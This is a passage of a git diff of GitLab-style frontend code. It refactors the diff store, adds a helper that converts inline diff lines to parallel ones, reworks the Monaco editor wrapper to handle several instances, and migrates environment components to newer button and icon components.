export const REMOVE_LINE_DISCUSSIONS_FOR_FILE = 'REMOVE_LINE_DISCUSSIONS_FOR_FILE';
export const TOGGLE_FOLDER_OPEN = 'TOGGLE_FOLDER_OPEN';
export const TOGGLE_SHOW_TREE_LIST = 'TOGGLE_SHOW_TREE_LIST';
-export const UPDATE_CURRENT_DIFF_FILE_ID = 'UPDATE_CURRENT_DIFF_FILE_ID';
+export const VIEW_DIFF_FILE = 'VIEW_DIFF_FILE';
export const OPEN_DIFF_FILE_COMMENT_FORM = 'OPEN_DIFF_FILE_COMMENT_FORM';
export const UPDATE_DIFF_FILE_COMMENT_FORM = 'UPDATE_DIFF_FILE_COMMENT_FORM';
diff --git a/app/assets/javascripts/diffs/store/mutations.js b/app/assets/javascripts/diffs/store/mutations.js
index 0d41f1c2178..7925c620c4e 100644
--- a/app/assets/javascripts/diffs/store/mutations.js
+++ b/app/assets/javascripts/diffs/store/mutations.js
@@ -1,4 +1,6 @@
+import Vue from 'vue';
import { convertObjectPropsToCamelCase } from '~/lib/utils/common_utils';
+import { INLINE_DIFF_VIEW_TYPE } from '../constants';
import {
findDiffFile,
addLineReferences,
@@ -24,7 +26,6 @@ export default {
projectPath,
dismissEndpoint,
showSuggestPopover,
- useSingleDiffStyle,
} = options;
Object.assign(state, {
endpoint,
@@ -34,7 +35,6 @@ export default {
projectPath,
dismissEndpoint,
showSuggestPopover,
- useSingleDiffStyle,
});
},
@@ -57,10 +57,7 @@ export default {
[types.SET_DIFF_DATA](state, data) {
let files = state.diffFiles;
- if (
- !(gon?.features?.diffsBatchLoad && window.location.search.indexOf('diff_id') === -1) &&
- data.diff_files
- ) {
+ if (window.location.search.indexOf('diff_id') !== -1 && data.diff_files) {
files = prepareDiffData(data, files);
}
@@ -154,7 +151,9 @@ export default {
addContextLines({
inlineLines: diffFile.highlighted_diff_lines,
parallelLines: diffFile.parallel_diff_lines,
- diffViewType: state.diffViewType,
+ diffViewType: window.gon?.features?.unifiedDiffLines
+ ? INLINE_DIFF_VIEW_TYPE
+ : state.diffViewType,
contextLines: lines,
bottom,
lineNumbers,
@@ -249,7 +248,7 @@ export default {
});
}
- if (!file.parallel_diff_lines || !file.highlighted_diff_lines) {
+ if (!file.parallel_diff_lines.length || !file.highlighted_diff_lines.length) {
const newDiscussions = (file.discussions || [])
.filter(d => d.id !== discussion.id)
.concat(discussion);
@@ -293,8 +292,9 @@ export default {
[types.TOGGLE_SHOW_TREE_LIST](state) {
state.showTreeList = !state.showTreeList;
},
- [types.UPDATE_CURRENT_DIFF_FILE_ID](state, fileId) {
+ [types.VIEW_DIFF_FILE](state, fileId) {
state.currentDiffFileId = fileId;
+ Vue.set(state.viewedDiffFileIds, fileId, true);
},
[types.OPEN_DIFF_FILE_COMMENT_FORM](state, formData) {
state.commentForms.push({
diff --git a/app/assets/javascripts/diffs/store/utils.js b/app/assets/javascripts/diffs/store/utils.js
index f014cddda32..69330ffae2f 100644
--- a/app/assets/javascripts/diffs/store/utils.js
+++ b/app/assets/javascripts/diffs/store/utils.js
@@ -11,7 +11,6 @@ import {
OLD_LINE_TYPE,
MATCH_LINE_TYPE,
LINES_TO_BE_RENDERED_DIRECTLY,
- MAX_LINES_TO_BE_RENDERED,
TREE_TYPE,
INLINE_DIFF_VIEW_TYPE,
PARALLEL_DIFF_VIEW_TYPE,
@@ -20,6 +19,77 @@ import {
} from '../constants';
import { prepareRawDiffFile } from '../diff_file';
+export const isAdded = line => ['new', 'new-nonewline'].includes(line.type);
+export const isRemoved = line => ['old', 'old-nonewline'].includes(line.type);
+export const isUnchanged = line => !line.type;
+export const isMeta = line => ['match', 'new-nonewline', 'old-nonewline'].includes(line.type);
+
+/**
+ * Pass in the inline diff lines array which gets converted
+ * to the parallel diff lines.
+ * This allows for us to convert inline diff lines to parallel
+ * on the frontend without needing to send any requests
+ * to the API.
+ *
+ * This method has been taken from the already existing backend
+ * implementation at lib/gitlab/diff/parallel_diff.rb
+ *
+ * @param {Object[]} diffLines - inline diff lines
+ *
+ * @returns {Object[]} parallel lines
+ */
+export const parallelizeDiffLines = (diffLines = []) => {
+ let freeRightIndex = null;
+ const lines = [];
+
+ for (let i = 0, diffLinesLength = diffLines.length, index = 0; i < diffLinesLength; i += 1) {
+ const line = diffLines[i];
+
+ if (isRemoved(line)) {
+ lines.push({
+ [LINE_POSITION_LEFT]: line,
+ [LINE_POSITION_RIGHT]: null,
+ });
+
+ if (freeRightIndex === null) {
+ // Once we come upon a new line it can be put on the right of this old line
+ freeRightIndex = index;
+ }
+ index += 1;
+ } else if (isAdded(line)) {
+ if (freeRightIndex !== null) {
+ // If an old line came before this without a line on the right, this
+ // line can be put to the right of it.
+ lines[freeRightIndex].right = line;
+
+ // If there are any other old lines on the left that don't yet have
+ // a new counterpart on the right, update the free_right_index
+ const nextFreeRightIndex = freeRightIndex + 1;
+ freeRightIndex = nextFreeRightIndex < index ? nextFreeRightIndex : null;
+ } else {
+ lines.push({
+ [LINE_POSITION_LEFT]: null,
+ [LINE_POSITION_RIGHT]: line,
+ });
+
+ freeRightIndex = null;
+ index += 1;
+ }
+ } else if (isMeta(line) || isUnchanged(line)) {
+ // line in the right panel is the same as in the left one
+ lines.push({
+ [LINE_POSITION_LEFT]: line,
+ [LINE_POSITION_RIGHT]: line,
+ });
+
+ freeRightIndex = null;
+ index += 1;
+ }
+ }
+
+ return lines;
+};
+
export function findDiffFile(files, match, matchKey = 'file_hash') {
return files.find(file => file[matchKey] === match);
}
@@ -281,7 +351,7 @@ function mergeTwoFiles(target, source) {
function ensureBasicDiffFileLines(file) {
const missingInline = !file.highlighted_diff_lines;
- const missingParallel = !file.parallel_diff_lines;
+ const missingParallel = !file.parallel_diff_lines || window.gon?.features?.unifiedDiffLines;
Object.assign(file, {
highlighted_diff_lines: missingInline ? [] : file.highlighted_diff_lines,
@@ -379,12 +449,10 @@ function getVisibleDiffLines(file) {
}
function finalizeDiffFile(file) {
- const name = (file.viewer && file.viewer.name) || diffViewerModes.text;
const lines = getVisibleDiffLines(file);
Object.assign(file, {
renderIt: lines < LINES_TO_BE_RENDERED_DIRECTLY,
- collapsed: name === diffViewerModes.text && lines > MAX_LINES_TO_BE_RENDERED,
isShowingFullFile: false,
isLoadingFullFile: false,
discussions: [],
@@ -417,11 +485,11 @@ export function prepareDiffData(diff, priorFiles = []) {
return deduplicateFilesList([...priorFiles, ...cleanedFiles]);
}
-export function getDiffPositionByLineCode(diffFiles, useSingleDiffStyle) {
+export function getDiffPositionByLineCode(diffFiles) {
let lines = [];
const hasInlineDiffs = diffFiles.some(file => file.highlighted_diff_lines.length > 0);
- if (!useSingleDiffStyle || hasInlineDiffs) {
+ if (hasInlineDiffs) {
// In either of these cases, we can use `highlighted_diff_lines` because
// that will include all of the parallel diff lines, too
diff --git a/app/assets/javascripts/diffs/utils/uuids.js b/app/assets/javascripts/diffs/utils/uuids.js
index 1a529c07ccc..12448350e62 100644
--- a/app/assets/javascripts/diffs/utils/uuids.js
+++ b/app/assets/javascripts/diffs/utils/uuids.js
@@ -11,9 +11,6 @@
* @typedef {String} UUIDv4
*/
-// https://gitlab.com/gitlab-org/frontend/rfcs/-/issues/20
-/* eslint-disable import/prefer-default-export */
-
import MersenneTwister from 'mersenne-twister';
import stringHash from 'string-hash';
import { isString } from 'lodash';
diff --git a/app/assets/javascripts/due_date_select.js b/app/assets/javascripts/due_date_select.js
index 6ebbeecae1d..5674cc8495d 100644
--- a/app/assets/javascripts/due_date_select.js
+++ b/app/assets/javascripts/due_date_select.js
@@ -6,6 +6,7 @@ import { __ } from '~/locale';
import axios from './lib/utils/axios_utils';
import { timeFor, parsePikadayDate, pikadayToString } from './lib/utils/datetime_utility';
import boardsStore from './boards/stores/boards_store';
+import initDeprecatedJQueryDropdown from '~/deprecated_jquery_dropdown';
class DueDateSelect {
constructor({ $dropdown, $loading } = {}) {
@@ -35,7 +36,7 @@ class DueDateSelect {
}
initGlDropdown() {
- this.$dropdown.glDropdown({
+ initDeprecatedJQueryDropdown(this.$dropdown, {
opened: () => {
const calendar = this.$datePicker.data('pikaday');
calendar.show();
diff --git a/app/assets/javascripts/editor/constants.js b/app/assets/javascripts/editor/constants.js
new file mode 100644
index 00000000000..9ee692e953a
--- /dev/null
+++ b/app/assets/javascripts/editor/constants.js
@@ -0,0 +1,7 @@
+import { __ } from '~/locale';
+
+export const EDITOR_LITE_INSTANCE_ERROR_NO_EL = __(
+ '"el" parameter is required for createInstance()',
+);
+
+export const URI_PREFIX = 'gitlab';
diff --git a/app/assets/javascripts/editor/editor_file_template_ext.js b/app/assets/javascripts/editor/editor_file_template_ext.js
new file mode 100644
index 00000000000..343908b831d
--- /dev/null
+++ b/app/assets/javascripts/editor/editor_file_template_ext.js
@@ -0,0 +1,7 @@
+import { Position } from 'monaco-editor';
+
+export default {
+ navigateFileStart() {
+ this.setPosition(new Position(1, 1));
+ },
+};
diff --git a/app/assets/javascripts/editor/editor_lite.js b/app/assets/javascripts/editor/editor_lite.js
index 0af0c3ecdcf..bbd5461ae4d 100644
--- a/app/assets/javascripts/editor/editor_lite.js
+++ b/app/assets/javascripts/editor/editor_lite.js
@@ -1,18 +1,15 @@
-import { editor as monacoEditor, languages as monacoLanguages, Position, Uri } from 'monaco-editor';
+import { editor as monacoEditor, languages as monacoLanguages, Uri } from 'monaco-editor';
import { DEFAULT_THEME, themes } from '~/ide/lib/themes';
import languages from '~/ide/lib/languages';
import { defaultEditorOptions } from '~/ide/lib/editor_options';
import { registerLanguages } from '~/ide/utils';
import { joinPaths } from '~/lib/utils/url_utility';
import { clearDomElement } from './utils';
+import { EDITOR_LITE_INSTANCE_ERROR_NO_EL, URI_PREFIX } from './constants';
export default class Editor {
constructor(options = {}) {
- this.editorEl = null;
- this.blobContent = '';
- this.blobPath = '';
- this.instance = null;
- this.model = null;
+ this.instances = [];
this.options = {
extraEditorClassName: 'gl-editor-lite',
...defaultEditorOptions,
@@ -31,6 +28,17 @@ export default class Editor {
monacoEditor.setTheme(theme ? themeName : DEFAULT_THEME);
}
+ static updateModelLanguage(path, instance) {
+ if (!instance) return;
+ const model = instance.getModel();
+ const ext = `.${path.split('.').pop()}`;
+ const language = monacoLanguages
+ .getLanguages()
+ .find(lang => lang.extensions.indexOf(ext) !== -1);
+ const id = language ? language.id : 'plaintext';
+ monacoEditor.setModelLanguage(model, id);
+ }
+
/**
* Creates a monaco instance with the given options.
*
@@ -40,74 +48,53 @@ export default class Editor {
* @param {string} options.blobContent The content to initialize the monacoEditor.
* @param {string} options.blobGlobalId This is used to help globally identify monaco instances that are created with the same blobPath.
*/
- createInstance({ el = undefined, blobPath = '', blobContent = '', blobGlobalId = '' } = {}) {
- if (!el) return;
- this.editorEl = el;
- this.blobContent = blobContent;
- this.blobPath = blobPath;
-
- clearDomElement(this.editorEl);
-
- const uriFilePath = joinPaths('gitlab', blobGlobalId, blobPath);
-
- this.model = monacoEditor.createModel(this.blobContent, undefined, Uri.file(uriFilePath));
-
- monacoEditor.onDidCreateEditor(this.renderEditor.bind(this));
-
- this.instance = monacoEditor.create(this.editorEl, this.options);
- this.instance.setModel(this.model);
- }
-
- dispose() {
- if (this.model) {
- this.model.dispose();
- this.model = null;
+ createInstance({
+ el = undefined,
+ blobPath = '',
+ blobContent = '',
+ blobGlobalId = '',
+ ...instanceOptions
+ } = {}) {
+ if (!el) {
+ throw new Error(EDITOR_LITE_INSTANCE_ERROR_NO_EL);
}
- return this.instance && this.instance.dispose();
- }
+ clearDomElement(el);
- renderEditor() {
- delete this.editorEl.dataset.editorLoading;
- }
+ const uriFilePath = joinPaths(URI_PREFIX, blobGlobalId, blobPath);
- onChangeContent(fn) {
- return this.model.onDidChangeContent(fn);
- }
+ const model = monacoEditor.createModel(blobContent, undefined, Uri.file(uriFilePath));
- updateModelLanguage(path) {
- if (path === this.blobPath) return;
- this.blobPath = path;
- const ext = `.${path.split('.').pop()}`;
- const language = monacoLanguages
- .getLanguages()
- .find(lang => lang.extensions.indexOf(ext) !== -1);
- const id = language ? language.id : 'plaintext';
- monacoEditor.setModelLanguage(this.model, id);
- }
+ monacoEditor.onDidCreateEditor(() => {
+ delete el.dataset.editorLoading;
+ });
- getValue() {
- return this.instance.getValue();
- }
-
- setValue(val) {
- this.instance.setValue(val);
- }
+ const instance = monacoEditor.create(el, {
+ ...this.options,
+ ...instanceOptions,
+ });
+ instance.setModel(model);
+ instance.onDidDispose(() => {
+ const index = this.instances.findIndex(inst => inst === instance);
+ this.instances.splice(index, 1);
+ model.dispose();
+ });
+ instance.updateModelLanguage = path => Editor.updateModelLanguage(path, instance);
- focus() {
- this.instance.focus();
+ this.instances.push(instance);
+ return instance;
}
- navigateFileStart() {
- this.instance.setPosition(new Position(1, 1));
- }
-
- updateOptions(options = {}) {
- this.instance.updateOptions(options);
+ dispose() {
+ this.instances.forEach(instance => instance.dispose());
}
- use(exts = []) {
+ use(exts = [], instance = null) {
const extensions = Array.isArray(exts) ? exts : [exts];
- Object.assign(this, ...extensions);
+ if (instance) {
+ Object.assign(instance, ...extensions);
+ } else {
+ this.instances.forEach(inst => Object.assign(inst, ...extensions));
+ }
}
}
diff --git a/app/assets/javascripts/editor/editor_markdown_ext.js b/app/assets/javascripts/editor/editor_markdown_ext.js
index 9d09663e643..c46f5736912 100644
--- a/app/assets/javascripts/editor/editor_markdown_ext.js
+++ b/app/assets/javascripts/editor/editor_markdown_ext.js
@@ -1,7 +1,7 @@
export default {
getSelectedText(selection = this.getSelection()) {
const { startLineNumber, endLineNumber, startColumn, endColumn } = selection;
- const valArray = this.instance.getValue().split('\n');
+ const valArray = this.getValue().split('\n');
let text = '';
if (startLineNumber === endLineNumber) {
text = valArray[startLineNumber - 1].slice(startColumn - 1, endColumn - 1);
@@ -20,20 +20,16 @@ export default {
return text;
},
- getSelection() {
- return this.instance.getSelection();
- },
-
replaceSelectedText(text, select = undefined) {
const forceMoveMarkers = !select;
- this.instance.executeEdits('', [{ range: this.getSelection(), text, forceMoveMarkers }]);
+ this.executeEdits('', [{ range: this.getSelection(), text, forceMoveMarkers }]);
},
moveCursor(dx = 0, dy = 0) {
- const pos = this.instance.getPosition();
+ const pos = this.getPosition();
pos.column += dx;
pos.lineNumber += dy;
- this.instance.setPosition(pos);
+ this.setPosition(pos);
},
/**
@@ -94,6 +90,6 @@ export default {
.setStartPosition(newStartLineNumber, newStartColumn)
.setEndPosition(newEndLineNumber, newEndColumn);
- this.instance.setSelection(newSelection);
+ this.setSelection(newSelection);
},
};
diff --git a/app/assets/javascripts/environments/components/confirm_rollback_modal.vue b/app/assets/javascripts/environments/components/confirm_rollback_modal.vue
index f0723e96ddf..b2a8571820b 100644
--- a/app/assets/javascripts/environments/components/confirm_rollback_modal.vue
+++ b/app/assets/javascripts/environments/components/confirm_rollback_modal.vue
@@ -1,4 +1,5 @@
<script>
+/* eslint-disable vue/no-v-html */
/**
* Render modal to confirm rollback/redeploy.
*/
diff --git a/app/assets/javascripts/environments/components/environment_actions.vue b/app/assets/javascripts/environments/components/environment_actions.vue
index d2978422224..035b276bc3b 100644
--- a/app/assets/javascripts/environments/components/environment_actions.vue
+++ b/app/assets/javascripts/environments/components/environment_actions.vue
@@ -1,8 +1,7 @@
<script>
-import { GlLoadingIcon } from '@gitlab/ui';
+import { GlButton, GlIcon, GlLoadingIcon } from '@gitlab/ui';
import { __, s__, sprintf } from '~/locale';
import { formatTime } from '~/lib/utils/datetime_utility';
-import Icon from '~/vue_shared/components/icon.vue';
import eventHub from '../event_hub';
import tooltip from '../../vue_shared/directives/tooltip';
@@ -11,7 +10,8 @@ export default {
tooltip,
},
components: {
- Icon,
+ GlButton,
+ GlIcon,
GlLoadingIcon,
},
props: {
@@ -69,38 +69,37 @@ export default {
</script>
<template>
<div class="btn-group" role="group">
- <button
+ <gl-button
v-tooltip
:title="title"
:aria-label="title"
:disabled="isLoading"
- type="button"
- class="dropdown btn btn-default dropdown-new js-environment-actions-dropdown"
+ class="dropdown dropdown-new js-environment-actions-dropdown"
data-container="body"
data-toggle="dropdown"
>
<span>
- <icon name="play" />
- <icon name="chevron-down" />
+ <gl-icon name="play" />
+ <gl-icon name="chevron-down" />
<gl-loading-icon v-if="isLoading" />
</span>
- </button>
+ </gl-button>
<ul class="dropdown-menu dropdown-menu-right">
- <li v-for="(action, i) in actions" :key="i">
- <button
+ <li v-for="(action, i) in actions" :key="i" class="gl-display-flex">
+ <gl-button
:class="{ disabled: isActionDisabled(action) }"
:disabled="isActionDisabled(action)"
- type="button"
- class="js-manual-action-link no-btn btn d-flex align-items-center"
+ variant="link"
+ class="js-manual-action-link gl-flex-fill-1"
@click="onClickAction(action)"
>
- <span class="flex-fill">{{ action.name }}</span>
- <span v-if="action.scheduledAt" class="text-secondary">
- <icon name="clock" />
+ <span class="gl-flex-fill-1">{{ action.name }}</span>
+ <span v-if="action.scheduledAt" class="text-secondary float-right">
+ <gl-icon name="clock" />
{{ remainingTime(action) }}
</span>
- </button>
+ </gl-button>
</li>
</ul>
</div>
diff --git a/app/assets/javascripts/environments/components/environment_delete.vue b/app/assets/javascripts/environments/components/environment_delete.vue
index b53c5fa6583..55aaa6d57bd 100644
--- a/app/assets/javascripts/environments/components/environment_delete.vue
+++ b/app/assets/javascripts/environments/components/environment_delete.vue
@@ -5,15 +5,14 @@
*/
import $ from 'jquery';
-import { GlTooltipDirective } from '@gitlab/ui';
-import Icon from '~/vue_shared/components/icon.vue';
+import { GlTooltipDirective, GlIcon } from '@gitlab/ui';
import { s__ } from '~/locale';
import eventHub from '../event_hub';
import LoadingButton from '../../vue_shared/components/loading_button.vue';
export default {
components: {
- Icon,
+ GlIcon,
LoadingButton,
},
directives: {
@@ -65,6 +64,6 @@ export default {
data-target="#delete-environment-modal"
@click="onClick"
>
- <icon name="remove" />
+ <gl-icon name="remove" />
</loading-button>
</template>
diff --git a/app/assets/javascripts/environments/components/environment_item.vue b/app/assets/javascripts/environments/components/environment_item.vue
index fa3d217f148..8850ed19a4b 100644
--- a/app/assets/javascripts/environments/components/environment_item.vue
+++ b/app/assets/javascripts/environments/components/environment_item.vue
@@ -1,13 +1,12 @@
<script>
/* eslint-disable @gitlab/vue-require-i18n-strings */
import { isEmpty } from 'lodash';
-import { GlTooltipDirective } from '@gitlab/ui';
+import { GlTooltipDirective, GlIcon } from '@gitlab/ui';
import { __, sprintf } from '~/locale';
import { convertObjectPropsToCamelCase } from '~/lib/utils/common_utils';
import timeagoMixin from '~/vue_shared/mixins/timeago';
import UserAvatarLink from '~/vue_shared/components/user_avatar/user_avatar_link.vue';
import CommitComponent from '~/vue_shared/components/commit.vue';
-import Icon from '~/vue_shared/components/icon.vue';
import TooltipOnTruncate from '~/vue_shared/components/tooltip_on_truncate.vue';
import eventHub from '../event_hub';
import ActionsComponent from './environment_actions.vue';
@@ -30,7 +29,7 @@ export default {
ActionsComponent,
CommitComponent,
ExternalUrlComponent,
- Icon,
+ GlIcon,
MonitoringButtonComponent,
PinComponent,
DeleteComponent,
@@ -535,7 +534,7 @@ export default {
</div>
<span v-if="shouldRenderDeployBoard" class="deploy-board-icon" @click="toggleDeployBoard">
- <icon :name="deployIconName" />
+ <gl-icon :name="deployIconName" />
</span>
<span
@@ -560,9 +559,9 @@ export default {
role="button"
@click="onClickFolder"
>
- <icon :name="folderIconName" class="folder-icon" />
+ <gl-icon :name="folderIconName" class="folder-icon" />
- <icon name="folder" class="folder-icon" />
+ <gl-icon name="folder" class="folder-icon" />
<span> {{ model.folderName }} </span>
diff --git a/app/assets/javascripts/environments/components/environment_monitoring.vue b/app/assets/javascripts/environments/components/environment_monitoring.vue
index bd6feb14319..4dc2c0ec1bd 100644
--- a/app/assets/javascripts/environments/components/environment_monitoring.vue
+++ b/app/assets/javascripts/environments/components/environment_monitoring.vue
@@ -1,15 +1,12 @@
<script>
-import { GlDeprecatedButton, GlTooltipDirective } from '@gitlab/ui';
+import { GlButton, GlTooltipDirective } from '@gitlab/ui';
import { __ } from '~/locale';
/**
* Renders the Monitoring (Metrics) link in environments table.
*/
-import Icon from '~/vue_shared/components/icon.vue';
-
export default {
components: {
- Icon,
- GlDeprecatedButton,
+ GlButton,
},
directives: {
GlTooltip: GlTooltipDirective,
@@ -28,15 +25,14 @@ export default {
};
</script>
<template>
- <gl-deprecated-button
+ <gl-button
v-gl-tooltip
:href="monitoringUrl"
:title="title"
:aria-label="title"
- class="monitoring-url d-none d-sm-none d-md-block"
+ class="monitoring-url gl-display-none gl-display-sm-none gl-display-md-block"
+ icon="chart"
rel="noopener noreferrer nofollow"
variant="default"
- >
- <icon name="chart" />
- </gl-deprecated-button>
+ />
</template>
diff --git a/app/assets/javascripts/environments/components/environment_pin.vue b/app/assets/javascripts/environments/components/environment_pin.vue
index 3a219e98b08..52ac7725bde 100644
--- a/app/assets/javascripts/environments/components/environment_pin.vue
+++ b/app/assets/javascripts/environments/components/environment_pin.vue
@@ -3,15 +3,14 @@
* Renders a prevent auto-stop button.
* Used in environments table.
*/
-import { GlDeprecatedButton, GlTooltipDirective } from '@gitlab/ui';
-import Icon from '~/vue_shared/components/icon.vue';
+import { GlButton, GlTooltipDirective, GlIcon } from '@gitlab/ui';
import { __ } from '~/locale';
import eventHub from '../event_hub';
export default {
components: {
- Icon,
- GlDeprecatedButton,
+ GlIcon,
+ GlButton,
},
directives: {
GlTooltip: GlTooltipDirective,
@@ -31,12 +30,7 @@ export default {
};
</script>
<template>
- <gl-deprecated-button
- v-gl-tooltip
- :title="$options.title"
- :aria-label="$options.title"
- @click="onPinClick"
- >
- <icon name="thumbtack" />
- </gl-deprecated-button>
+ <gl-button v-gl-tooltip :title="$options.title" :aria-label="$options.title" @click="onPinClick">
+ <gl-icon name="thumbtack" />
+ </gl-button>
</template>
diff --git a/app/assets/javascripts/environments/components/environment_rollback.vue b/app/assets/javascripts/environments/components/environment_rollback.vue
index 7a728961b37..32528e6c6ea 100644
--- a/app/assets/javascripts/environments/components/environment_rollback.vue
+++ b/app/assets/javascripts/environments/components/environment_rollback.vue
@@ -5,21 +5,13 @@
*
* Makes a post request when the button is clicked.
*/
-import {
- GlTooltipDirective,
- GlLoadingIcon,
- GlModalDirective,
- GlDeprecatedButton,
-} from '@gitlab/ui';
+import { GlTooltipDirective, GlModalDirective, GlButton } from '@gitlab/ui';
import { s__ } from '~/locale';
-import Icon from '~/vue_shared/components/icon.vue';
import eventHub from '../event_hub';
export default {
components: {
- Icon,
- GlLoadingIcon,
- GlDeprecatedButton,
+ GlButton,
},
directives: {
GlTooltip: GlTooltipDirective,
@@ -73,15 +65,13 @@ export default {
};
</script>
<template>
- <gl-deprecated-button
+ <gl-button
v-gl-tooltip
v-gl-modal.confirm-rollback-modal
- :disabled="isLoading"
+ class="gl-display-none gl-display-md-block text-secondary"
+ :loading="isLoading"
:title="title"
- class="d-none d-md-block text-secondary"
+ :icon="isLastDeployment ? 'repeat' : 'redo'"
@click="onClick"
- >
- <icon v-if="isLastDeployment" name="repeat" /> <icon v-else name="redo" />
- <gl-loading-icon v-if="isLoading" />
- </gl-deprecated-button>
+ />
</template>
diff --git a/app/assets/javascripts/environments/components/environment_terminal_button.vue b/app/assets/javascripts/environments/components/environment_terminal_button.vue
index 37f94f9f5ab..b5a7be90204 100644
--- a/app/assets/javascripts/environments/components/environment_terminal_button.vue
+++ b/app/assets/javascripts/environments/components/environment_terminal_button.vue
@@ -3,13 +3,12 @@
* Renders a terminal button to open a web terminal.
* Used in environments table.
*/
-import { GlTooltipDirective } from '@gitlab/ui';
-import Icon from '~/vue_shared/components/icon.vue';
+import { GlTooltipDirective, GlIcon } from '@gitlab/ui';
import { __ } from '~/locale';
export default {
components: {
- Icon,
+ GlIcon,
},
directives: {
GlTooltip: GlTooltipDirective,
@@ -42,6 +41,6 @@ export default {
:class="{ disabled: disabled }"
class="btn terminal-button d-none d-sm-none d-md-block text-secondary"
>
- <icon name="terminal" />
+ <gl-icon name="terminal" />
</a>
</template>
diff --git a/app/assets/javascripts/environments/components/environments_table.vue b/app/assets/javascripts/environments/components/environments_table.vue
index 1bf705dcda2..c06ab265915 100644
--- a/app/assets/javascripts/environments/components/environments_table.vue
+++ b/app/assets/javascripts/environments/components/environments_table.vue
@@ -14,6 +14,7 @@ export default {
DeployBoard: () => import('ee_component/environments/components/deploy_board_component.vue'),
CanaryDeploymentCallout: () =>
import('ee_component/environments/components/canary_deployment_callout.vue'),
+ EnvironmentAlert: () => import('ee_component/environments/components/environment_alert.vue'),
},
props: {
environments: {
@@ -111,6 +112,9 @@ export default {
shouldShowCanaryCallout(env) {
return env.showCanaryCallout && this.showCanaryDeploymentCallout;
},
+ shouldRenderAlert(env) {
+ return env?.has_opened_alert;
+ },
sortEnvironments(environments) {
/*
* The sorting algorithm should sort in the following priorities:
@@ -185,6 +189,11 @@ export default {
/>
</div>
</div>
+ <environment-alert
+ v-if="shouldRenderAlert(model)"
+ :key="`alert-row-${i}`"
+ :environment="model"
+ />
<template v-if="shouldRenderFolderContent(model)">
<div v-if="model.isLoadingFolderContent" :key="`loading-item-${i}`">
diff --git a/app/assets/javascripts/environments/components/stop_environment_modal.vue b/app/assets/javascripts/environments/components/stop_environment_modal.vue
index 7448fd584c6..88612376b6e 100644
--- a/app/assets/javascripts/environments/components/stop_environment_modal.vue
+++ b/app/assets/javascripts/environments/components/stop_environment_modal.vue
@@ -1,5 +1,5 @@
<script>
-/* eslint-disable @gitlab/vue-require-i18n-strings */
+/* eslint-disable @gitlab/vue-require-i18n-strings, vue/no-v-html */
import { GlTooltipDirective } from '@gitlab/ui';
import DeprecatedModal2 from '~/vue_shared/components/deprecated_modal_2.vue';
import { s__, sprintf } from '~/locale';
diff --git a/app/assets/javascripts/environments/folder/environments_folder_bundle.js b/app/assets/javascripts/environments/folder/environments_folder_bundle.js
index 56896ac4d43..6c547c3713a 100644
--- a/app/assets/javascripts/environments/folder/environments_folder_bundle.js
+++ b/app/assets/javascripts/environments/folder/environments_folder_bundle.js
@@ -1,20 +1,33 @@
import Vue from 'vue';
+import VueApollo from 'vue-apollo';
import canaryCalloutMixin from '../mixins/canary_callout_mixin';
import environmentsFolderApp from './environments_folder_view.vue';
import { parseBoolean } from '../../lib/utils/common_utils';
import Translate from '../../vue_shared/translate';
+import createDefaultClient from '~/lib/graphql';
Vue.use(Translate);
+Vue.use(VueApollo);
-export default () =>
- new Vue({
- el: '#environments-folder-list-view',
+const apolloProvider = new VueApollo({
+ defaultClient: createDefaultClient(),
+});
+
+export default () => {
+ const el = document.getElementById('environments-folder-list-view');
+
+ return new Vue({
+ el,
components: {
environmentsFolderApp,
},
mixins: [canaryCalloutMixin],
+ apolloProvider,
+ provide: {
+ projectPath: el.dataset.projectPath,
+ },
data() {
- const environmentsData = document.querySelector(this.$options.el).dataset;
+ const environmentsData = el.dataset;
return {
endpoint: environmentsData.environmentsDataEndpoint,
@@ -35,3 +48,4 @@ export default () =>
});
},
});
+};
diff --git a/app/assets/javascripts/environments/folder/environments_folder_view.vue b/app/assets/javascripts/environments/folder/environments_folder_view.vue
index e1e356a977f..16d25615779 100644
--- a/app/assets/javascripts/environments/folder/environments_folder_view.vue
+++ b/app/assets/javascripts/environments/folder/environments_folder_view.vue
@@ -23,7 +23,8 @@ export default {
},
cssContainerClass: {
type: String,
- required: true,
+ required: false,
+ default: '',
},
canReadEnvironment: {
type: Boolean,
diff --git a/app/assets/javascripts/environments/index.js b/app/assets/javascripts/environments/index.js
index 4848cb0f13d..8e8af3f32f7 100644
--- a/app/assets/javascripts/environments/index.js
+++ b/app/assets/javascripts/environments/index.js
@@ -1,20 +1,32 @@
import Vue from 'vue';
+import VueApollo from 'vue-apollo';
import canaryCalloutMixin from './mixins/canary_callout_mixin';
import environmentsComponent from './components/environments_app.vue';
import { parseBoolean } from '../lib/utils/common_utils';
import Translate from '../vue_shared/translate';
+import createDefaultClient from '~/lib/graphql';
Vue.use(Translate);
+Vue.use(VueApollo);
-export default () =>
- new Vue({
- el: '#environments-list-view',
+const apolloProvider = new VueApollo({
+ defaultClient: createDefaultClient(),
+});
+
+export default () => {
+ const el = document.getElementById('environments-list-view');
+ return new Vue({
+ el,
components: {
environmentsComponent,
},
mixins: [canaryCalloutMixin],
+ apolloProvider,
+ provide: {
+ projectPath: el.dataset.projectPath,
+ },
data() {
- const environmentsData = document.querySelector(this.$options.el).dataset;
+ const environmentsData = el.dataset;
return {
endpoint: environmentsData.environmentsDataEndpoint,
@@ -39,3 +51,4 @@ export default () =>
});
},
});
+};
diff --git a/app/assets/javascripts/environments/mixins/canary_callout_mixin.js b/app/assets/javascripts/environments/mixins/canary_callout_mixin.js
index 398576a31cb..e9f1a144cb3 100644
--- a/app/assets/javascripts/environments/mixins/canary_callout_mixin.js
+++ b/app/assets/javascripts/environments/mixins/canary_callout_mixin.js
@@ -2,7 +2,7 @@ import { parseBoolean } from '~/lib/utils/common_utils';
export default {
data() {
- const data = document.querySelector(this.$options.el).dataset;
+ const data = this.$options.el.dataset;
return {
canaryDeploymentFeatureId: data.environmentsDataCanaryDeploymentFeatureId,
diff --git a/app/assets/javascripts/environments/stores/helpers.js b/app/assets/javascripts/environments/stores/helpers.js
index 8eba6c00601..eb47ba29412 100644
--- a/app/assets/javascripts/environments/stores/helpers.js
+++ b/app/assets/javascripts/environments/stores/helpers.js
@@ -4,5 +4,4 @@
* @param {Object} environment
* @returns {Object}
*/
-// eslint-disable-next-line import/prefer-default-export
export const setDeployBoard = (oldEnvironmentState, environment) => environment;
diff --git a/app/assets/javascripts/error_tracking/components/error_details.vue b/app/assets/javascripts/error_tracking/components/error_details.vue
index 3d1fdc4f168..5dee3ef3ffe 100644
--- a/app/assets/javascripts/error_tracking/components/error_details.vue
